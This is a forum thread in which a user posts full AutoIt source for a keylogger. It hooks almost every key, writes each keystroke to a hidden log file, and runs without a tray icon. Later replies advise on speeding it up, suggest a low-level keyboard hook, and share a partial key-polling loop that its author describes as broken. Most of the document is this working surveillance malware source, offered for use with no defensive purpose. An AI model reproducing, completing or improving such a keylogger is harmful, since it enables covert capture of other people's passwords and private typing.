Simple Keylogger HotKeySet function

Solixious · 09-25-2012, 05:02 PM

I just made this code few minutes ago. Maybe there are a few bugs in it, but it seemed to work quite fine for me... Do give feedback if something seems wrong and feel free to modify it too.. Smile

Code:
#cs
Demonstration of simple key logging using Autoit's HotKeySet function
Author : Solixious
Press Shift+Alt+X to exit the application when executed
All logs of keystrokes are stored in a file named log.txt inside a folder called log in the working directory
#ce

#NoTrayIcon
$filename=@WorkingDir & "\log\log.txt"
HotKeySet("a", "key_a")
HotKeySet("b", "key_b")
HotKeySet("c", "key_c")
HotKeySet("d", "key_d")
HotKeySet("e", "key_e")
HotKeySet("f", "key_f")
HotKeySet("g", "key_g")
HotKeySet("h", "key_h")
HotKeySet("i", "key_i")
HotKeySet("j", "key_j")
HotKeySet("k", "key_k")
HotKeySet("l", "key_l")
HotKeySet("m", "key_m")
HotKeySet("n", "key_n")
HotKeySet("o", "key_o")
HotKeySet("p", "key_p")
HotKeySet("q", "key_q")
HotKeySet("r", "key_r")
HotKeySet("s", "key_s")
HotKeySet("t", "key_t")
HotKeySet("u", "key_u")
HotKeySet("v", "key_v")
HotKeySet("w", "key_w")
HotKeySet("x", "key_x")
HotKeySet("y", "key_y")
HotKeySet("z", "key_z")
HotKeySet("A", "keyc_A")
HotKeySet("B", "keyc_B")
HotKeySet("C", "keyc_C")
HotKeySet("D", "keyc_D")
HotKeySet("E", "keyc_E")
HotKeySet("F", "keyc_F")
HotKeySet("G", "keyc_G")
HotKeySet("H", "keyc_H")
HotKeySet("I", "keyc_I")
HotKeySet("J", "keyc_J")
HotKeySet("K", "keyc_K")
HotKeySet("L", "keyc_L")
HotKeySet("M", "keyc_M")
HotKeySet("N", "keyc_N")
HotKeySet("O", "keyc_O")
HotKeySet("P", "keyc_P")
HotKeySet("Q", "keyc_Q")
HotKeySet("R", "keyc_R")
HotKeySet("S", "keyc_S")
HotKeySet("T", "keyc_T")
HotKeySet("U", "keyc_U")
HotKeySet("V", "keyc_V")
HotKeySet("W", "keyc_W")
HotKeySet("X", "keyc_X")
HotKeySet("Y", "keyc_Y")
HotKeySet("Z", "keyc_Z")
HotKeySet("1", "key_1")
HotKeySet("2", "key_2")
HotKeySet("3", "key_3")
HotKeySet("4", "key_4")
HotKeySet("5", "key_5")
HotKeySet("6", "key_6")
HotKeySet("7", "key_7")
HotKeySet("8", "key_8")
HotKeySet("9", "key_9")
HotKeySet("0", "key_0")
HotKeySet("_", "key__")
HotKeySet("$", "key_DOLLAR")
HotKeySet("@", "key_AT")
HotKeySet("{#}", "key_HASH")
HotKeySet("%", "key_MODULUS")
HotKeySet("{^}", "key_POWER")
HotKeySet("{!}", "key_EXC")
HotKeySet("&", "key_AND")
HotKeySet("*", "key_ASTERISK")
HotKeySet("(", "key_ROUNDBRACKET1")
HotKeySet(")", "key_ROUNDBRACKET2")
HotKeySet("-", "key_DASH")
HotKeySet("{+}", "key_PLUS")
HotKeySet("=", "key_EQUALS")
HotKeySet("{BS}", "key_BACKSPACE")
HotKeySet("[", "key_SQUAREBRACKET1")
HotKeySet("]", "key_SQUAREBRACKET2")
HotKeySet("{", "key_CURLYBRACKET1")
HotKeySet("}", "key_CURLYBRACKET2")
HotKeySet("\", "key_BACKSLASH")
HotKeySet("|", "key_PIPE")
HotKeySet(";", "key_SEMICOLON")
HotKeySet(":", "key_COLON")
HotKeySet("'", "key_SINGLEQUOTE")
HotKeySet('"', "key_DOUBLEQUOTE")
HotKeySet(",", "key_COMMA")
HotKeySet(".", "key_DOT")
HotKeySet("/", "key_SLASH")
HotKeySet("<", "key_LESSTHAN")
HotKeySet(">", "key_MORETHAN")
HotKeySet("?", "key_QUESTION")
HotKeySet("{SPACE}", "key_SPACE")
HotKeySet("{ENTER}","key_ENTER")
HotKeySet("{ESC}","key_ESC")
HotKeySet("+!x","goExit")
While 1
    Sleep(100)
WEnd

Func key_a()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"a")
   FileClose($file)
   HotKeySet("a")
   Send("a")
   HotKeySet("a","key_a")
EndFunc

Func key_b()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"b")
   FileClose($file)
   HotKeySet("b")
   Send("b")
   HotKeySet("b","key_b")
EndFunc
Func key_c()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"c")
   FileClose($file)
   HotKeySet("c")
   Send("c")
   HotKeySet("c","key_c")
EndFunc
Func key_d()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"d")
   FileClose($file)
   HotKeySet("d")
   Send("d")
   HotKeySet("d","key_d")
EndFunc
Func key_e()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"e")
   FileClose($file)
   HotKeySet("e")
   Send("e")
   HotKeySet("e","key_e")
EndFunc
Func key_f()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"f")
   FileClose($file)
   HotKeySet("f")
   Send("f")
   HotKeySet("f","key_f")
EndFunc
Func key_g()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"g")
   FileClose($file)
   HotKeySet("g")
   Send("g")
   HotKeySet("g","key_g")
 EndFunc
Func key_h()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"h")
   FileClose($file)
   HotKeySet("h")
   Send("h")
   HotKeySet("h","key_h")
EndFunc
Func key_i()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"i")
   FileClose($file)
   HotKeySet("i")
   Send("i")
   HotKeySet("i","key_i")
EndFunc
Func key_j()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"j")
   FileClose($file)
   HotKeySet("j")
   Send("j")
   HotKeySet("j","key_j")
EndFunc
Func key_k()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"k")
   FileClose($file)
   HotKeySet("k")
   Send("k")
   HotKeySet("k","key_k")
EndFunc
Func key_l()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"l")
   FileClose($file)
   HotKeySet("l")
   Send("l")
   HotKeySet("l","key_l")
EndFunc
Func key_m()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"m")
   FileClose($file)
   HotKeySet("m")
   Send("m")
   HotKeySet("m","key_m")
EndFunc
Func key_n()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"n")
   FileClose($file)
   HotKeySet("n")
   Send("n")
   HotKeySet("n","key_n")
EndFunc
Func key_o()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"o")
   FileClose($file)
   HotKeySet("o")
   Send("o")
   HotKeySet("o","key_o")
EndFunc
Func key_p()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"p")
   FileClose($file)
   HotKeySet("p")
   Send("p")
   HotKeySet("p","key_p")
EndFunc
Func key_q()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"q")
   FileClose($file)
   HotKeySet("q")
   Send("q")
   HotKeySet("q","key_q")
EndFunc
Func key_r()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"r")
   FileClose($file)
   HotKeySet("r")
   Send("r")
   HotKeySet("r","key_r")
EndFunc
Func key_s()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"s")
   FileClose($file)
   HotKeySet("s")
   Send("s")
   HotKeySet("s","key_s")
EndFunc
Func key_t()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"t")
   FileClose($file)
   HotKeySet("t")
   Send("t")
   HotKeySet("t","key_t")
EndFunc
Func key_u()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"u")
   FileClose($file)
   HotKeySet("u")
   Send("u")
   HotKeySet("u","key_u")
EndFunc
Func key_v()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"v")
   FileClose($file)
   HotKeySet("v")
   Send("v")
   HotKeySet("v","key_v")
EndFunc
Func key_w()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"w")
   FileClose($file)
   HotKeySet("w")
   Send("w")
   HotKeySet("w","key_w")
EndFunc
Func key_x()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"x")
   FileClose($file)
   HotKeySet("x")
   Send("x")
   HotKeySet("x","key_x")
EndFunc
Func key_y()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"y")
   FileClose($file)
   HotKeySet("y")
   Send("y")
   HotKeySet("y","key_y")
EndFunc
Func key_z()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"z")
   FileClose($file)
   HotKeySet("z")
   Send("z")
   HotKeySet("z","key_z")
 EndFunc
Func keyc_A()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"A")
   FileClose($file)
   HotKeySet("A")
   Send("A")
   HotKeySet("A","keyc_A")
EndFunc
Func keyc_B()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"B")
   FileClose($file)
   HotKeySet("B")
   Send("B")
   HotKeySet("B","keyc_B")
EndFunc
Func keyc_C()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"C")
   FileClose($file)
   HotKeySet("C")
   Send("C")
   HotKeySet("C","keyc_C")
EndFunc
Func keyc_D()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"D")
   FileClose($file)
   HotKeySet("D")
   Send("D")
   HotKeySet("D","keyc_D")
EndFunc
Func keyc_E()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"E")
   FileClose($file)
   HotKeySet("E")
   Send("E")
   HotKeySet("E","keyc_E")
EndFunc
Func keyc_F()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"F")
   FileClose($file)
   HotKeySet("F")
   Send("F")
   HotKeySet("F","keyc_F")
EndFunc
Func keyc_G()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"G")
   FileClose($file)
   HotKeySet("G")
   Send("G")
   HotKeySet("G","keyc_G")
EndFunc
Func keyc_H()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"H")
   FileClose($file)
   HotKeySet("H")
   Send("H")
   HotKeySet("H","keyc_H")
EndFunc
Func keyc_I()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"I")
   FileClose($file)
   HotKeySet("I")
   Send("I")
   HotKeySet("I","keyc_I")
EndFunc
Func keyc_J()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"J")
   FileClose($file)
   HotKeySet("J")
   Send("J")
   HotKeySet("J","keyc_J")
EndFunc
Func keyc_K()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"K")
   FileClose($file)
   HotKeySet("K")
   Send("K")
   HotKeySet("K","keyc_K")
EndFunc
Func keyc_L()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"L")
   FileClose($file)
   HotKeySet("L")
   Send("L")
   HotKeySet("L","keyc_L")
EndFunc
Func keyc_M()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"M")
   FileClose($file)
   HotKeySet("M")
   Send("M")
   HotKeySet("M","keyc_M")
EndFunc
Func keyc_N()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"N")
   FileClose($file)
   HotKeySet("N")
   Send("N")
   HotKeySet("N","keyc_N")
EndFunc
Func keyc_O()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"O")
   FileClose($file)
   HotKeySet("O")
   Send("O")
   HotKeySet("O","keyc_O")
EndFunc
Func keyc_P()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"P")
   FileClose($file)
   HotKeySet("P")
   Send("P")
   HotKeySet("P","keyc_P")
EndFunc
Func keyc_Q()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"Q")
   FileClose($file)
   HotKeySet("Q")
   Send("Q")
   HotKeySet("Q","keyc_Q")
EndFunc
Func keyc_R()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"R")
   FileClose($file)
   HotKeySet("R")
   Send("R")
   HotKeySet("R","keyc_R")
EndFunc
Func keyc_S()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"S")
   FileClose($file)
   HotKeySet("S")
   Send("S")
   HotKeySet("S","keyc_S")
EndFunc
Func keyc_T()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"T")
   FileClose($file)
   HotKeySet("T")
   Send("T")
   HotKeySet("A","keyc_T")
EndFunc
Func keyc_U()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"U")
   FileClose($file)
   HotKeySet("U")
   Send("U")
   HotKeySet("U","keyc_U")
EndFunc
Func keyc_V()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"V")
   FileClose($file)
   HotKeySet("V")
   Send("V")
   HotKeySet("V","keyc_V")
EndFunc
Func keyc_W()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"W")
   FileClose($file)
   HotKeySet("W")
   Send("W")
   HotKeySet("W","keyc_W")
EndFunc
Func keyc_X()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"X")
   FileClose($file)
   HotKeySet("X")
   Send("X")
   HotKeySet("X","keyc_X")
EndFunc
Func keyc_Y()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"Y")
   FileClose($file)
   HotKeySet("Y")
   Send("Y")
   HotKeySet("Y","keyc_Y")
EndFunc
Func keyc_Z()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"Z")
   FileClose($file)
   HotKeySet("Z")
   Send("Z")
   HotKeySet("Z","keyc_Z")
EndFunc
Func key_1()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"1")
   FileClose($file)
   HotKeySet("1")
   Send("1")
   HotKeySet("1","key_1")
EndFunc
Func key_2()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"2")
   FileClose($file)
   HotKeySet("2")
   Send("2")
   HotKeySet("2","key_2")
EndFunc
Func key_3()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"3")
   FileClose($file)
   HotKeySet("3")
   Send("3")
   HotKeySet("3","key_3")
EndFunc
Func key_4()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"4")
   FileClose($file)
   HotKeySet("4")
   Send("4")
   HotKeySet("4","key_4")
EndFunc
Func key_5()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"5")
   FileClose($file)
   HotKeySet("5")
   Send("5")
   HotKeySet("5","key_5")
EndFunc
Func key_6()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"6")
   FileClose($file)
   HotKeySet("6")
   Send("6")
   HotKeySet("6","key_6")
EndFunc
Func key_7()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"7")
   FileClose($file)
   HotKeySet("7")
   Send("7")
   HotKeySet("7","key_7")
EndFunc
Func key_8()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"8")
   FileClose($file)
   HotKeySet("8")
   Send("8")
   HotKeySet("8","key_8")
EndFunc
Func key_9()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"9")
   FileClose($file)
   HotKeySet("9")
   Send("9")
   HotKeySet("9","key_9")
EndFunc
Func key_0()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"0")
   FileClose($file)
   HotKeySet("0")
   Send("0")
   HotKeySet("0","key_0")
EndFunc
Func key__()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"_")
   FileClose($file)
   HotKeySet("_")
   Send("_")
   HotKeySet("_","key__")
EndFunc
Func key_DOLLAR()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"$")
   FileClose($file)
   HotKeySet("$")
   Send("$")
   HotKeySet("$","key_DOLLAR")
EndFunc
Func key_AT()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"@")
   FileClose($file)
   HotKeySet("@")
   Send("@")
   HotKeySet("@","key_AT")
EndFunc
Func key_HASH()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"#")
   FileClose($file)
   HotKeySet("{#}")
   Send("{#}")
   HotKeySet("{#}","key_HASH")
EndFunc
Func key_MODULUS()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"%")
   FileClose($file)
   HotKeySet("%")
   Send("%")
   HotKeySet("%","key_MODULUS")
EndFunc
Func key_POWER()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"^")
   FileClose($file)
   HotKeySet("{^}")
   Send("{^}")
   HotKeySet("{^}","key_POWER")
EndFunc
Func key_AND()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"&")
   FileClose($file)
   HotKeySet("&")
   Send("&")
   HotKeySet("&","key_AND")
EndFunc
Func key_ASTERISK()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"*")
   FileClose($file)
   HotKeySet("*")
   Send("*")
   HotKeySet("*","key_ASTERISK")
EndFunc
Func key_DASH()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"-")
   FileClose($file)
   HotKeySet("-")
   Send("-")
   HotKeySet("-","key_DASH")
EndFunc
Func key_PLUS()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"+")
   FileClose($file)
   HotKeySet("{+}")
   Send("{+}")
   HotKeySet("+","key_PLUS")
EndFunc
Func key_EXC()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"!")
   FileClose($file)
   HotKeySet("{!}")
   Send("{!}")
   HotKeySet("{!}","key_EXC")
EndFunc
Func key_EQUALS()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"=")
   FileClose($file)
   HotKeySet("=")
   Send("=")
   HotKeySet("=","key_EQUALS")
EndFunc
Func key_ROUNDBRACKET1()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"(")
   FileClose($file)
   HotKeySet("(")
   Send("(")
   HotKeySet("(","key_ROUNDBRACKET1")
EndFunc
Func key_ROUNDBRACKET2()
   $file=FileOpen($filename,1+8)
   FileWrite($file,")")
   FileClose($file)
   HotKeySet(")")
   Send(")")
   HotKeySet(")","key_ROUNDBRACKET2")
EndFunc
Func key_BACKSPACE()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"[BACKSPACE]")
   FileClose($file)
   HotKeySet("{BACKSPACE}")
   Send("{BACKSPACE}")
   HotKeySet("{BACKSPACE}","key_BACKSPACE")
EndFunc
Func key_SQUAREBRACKET1()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"[")
   FileClose($file)
   HotKeySet("[")
   Send("[")
   HotKeySet("[","key_SQUAREBRACKET1")
EndFunc
Func key_SQUAREBRACKET2()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"]")
   FileClose($file)
   HotKeySet("]")
   Send("]")
   HotKeySet("]","key_SQUAREBRACKET2")
EndFunc
Func key_CURLYBRACKET1()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"{")
   FileClose($file)
   HotKeySet("{")
   Send("{")
   HotKeySet("{","key_CURLYBRACKET1")
EndFunc
Func key_CURLYBRACKET2()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"}")
   FileClose($file)
   HotKeySet("}")
   Send("}")
   HotKeySet("}","key_CURLYBRACKET2")
EndFunc
Func key_BACKSLASH()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"\")
   FileClose($file)
   HotKeySet("\")
   Send("\")
   HotKeySet("\","key_BACKSLASH")
EndFunc
Func key_PIPE()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"|")
   FileClose($file)
   HotKeySet("|")
   Send("|")
   HotKeySet("|","key_PIPE")
EndFunc
Func key_SEMICOLON()
   $file=FileOpen($filename,1+8)
   FileWrite($file,";")
   FileClose($file)
   HotKeySet(";")
   Send(";")
   HotKeySet(";","key_SEMICOLON")
EndFunc
Func key_COLON()
   $file=FileOpen($filename,1+8)
   FileWrite($file,":")
   FileClose($file)
   HotKeySet(":")
   Send(":")
   HotKeySet(":","key_COLON")
EndFunc
Func key_SINGLEQUOTE()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"'")
   FileClose($file)
   HotKeySet("'")
   Send("'")
   HotKeySet("'","key_SINGLEQUOTE")
EndFunc
Func key_DOUBLEQUOTE()
   $file=FileOpen($filename,1+8)
   FileWrite($file,'"')
   FileClose($file)
   HotKeySet('"')
   Send('"')
   HotKeySet('"',"key_DOUBLEQUOTE")
EndFunc

Func key_LESSTHAN()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"<")
   FileClose($file)
   HotKeySet("<")
   Send("<")
   HotKeySet("<","key_LESSTHAN")
EndFunc
Func key_MORETHAN()
   $file=FileOpen($filename,1+8)
   FileWrite($file,">")
   FileClose($file)
   HotKeySet(">")
   Send(">")
   HotKeySet(">","key_MORETHAN")
EndFunc
Func key_COMMA()
   $file=FileOpen($filename,1+8)
   FileWrite($file,",")
   FileClose($file)
   HotKeySet(",")
   Send(",")
   HotKeySet(",","key_COMMA")
EndFunc
Func key_DOT()
   $file=FileOpen($filename,1+8)
   FileWrite($file,".")
   FileClose($file)
   HotKeySet(".")
   Send(".")
   HotKeySet(".","key_DOT")
EndFunc
Func key_SLASH()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"/")
   FileClose($file)
   HotKeySet("/")
   Send("/")
   HotKeySet("/","key_SLASH")
EndFunc
Func key_QUESTION()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"?")
   FileClose($file)
   HotKeySet("?")
   Send("?")
   HotKeySet("?","key_QUESTION")
EndFunc
Func key_SPACE()
   $file=FileOpen($filename,1+8)
   FileWrite($file," ")
   FileClose($file)
   HotKeySet(" ")
   Send(" ")
   HotKeySet(" ","key_SPACE")
EndFunc
Func key_ENTER()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"[ENTER]")
   FileClose($file)
   HotKeySet("{ENTER}")
   Send("{ENTER}")
   HotKeySet("{ENTER}","key_ENTER")
EndFunc
Func key_ESC()
   $file=FileOpen($filename,1+8)
   FileWrite($file,"[ESCAPE]")
   FileClose($file)
   HotKeySet("{ESCAPE}")
   Send("{ESCAPE}")
   HotKeySet("{ESCAPE}","key_ESC")
EndFunc
Func goExit()
	Exit 1
 EndFunc

Jacob · 09-25-2012, 06:56 PM

instead of opening and closing the file everytime a function is called, just open it at the beginning once and close at the end. Better speeds.

Solixious · 09-25-2012, 08:11 PM

Thanks for the advice Jacob. I guess it will take some time to modify those functions...
Would it make that much of difference, except for the length of the code?

Jacob · 09-25-2012, 09:29 PM

Yes it would, not only with the amount of memory used, but in the long run how accurate the logs are.

HMVC · 12-02-2012, 01:27 PM

Why dont you use _WINAPI_SetWindowHookEx Lol and make an array of keycodes and other array of keystrings and ....

ReaImDown · 06-22-2013, 04:50 AM

Here... I'm not releasing all of my code... but just to help you clean things up a bit & get your brain thinking...

Code:
Dim $Chr = StringSplit("41,42,43,44,45,46,47,48,49,4A,4B,4C,4D,4E,4F,50,51,52,53,54,55,56,57,58,59,5A,20", ",") ;A-Z

While 1
      sleep(10)
      For $i = 1 To $Chr[0]
				If (GetCapsLock() + _IsPressed(0xA0) + _IsPressed(0xA1) = 1) Then
					If _IsPressed("0x" & $Chr[$i]) Then _LogKeyPress(StringUpper(Chr("0x" & $Chr[$i])))
				Else
					If _IsPressed("0x" & $Chr[$i]) Then _LogKeyPress(StringLower(Chr("0x" & $Chr[$i])))
				EndIf
			Next
wend

That's broken code... but I'm sure you can figure out a way to incorporate it somehow. message me if you need guidance.